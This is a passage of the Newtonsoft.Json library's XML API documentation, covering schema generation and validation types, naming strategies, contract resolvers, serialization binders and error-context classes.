name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DefaultMembersSearchFlags\">\n            <summary>\n            Gets or sets the default members search flags.\n            </summary>\n            <value>The default members search flags.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDynamicContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to the application's <see cref=\"T:System.Diagnostics.TraceListener\"/> instances.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see 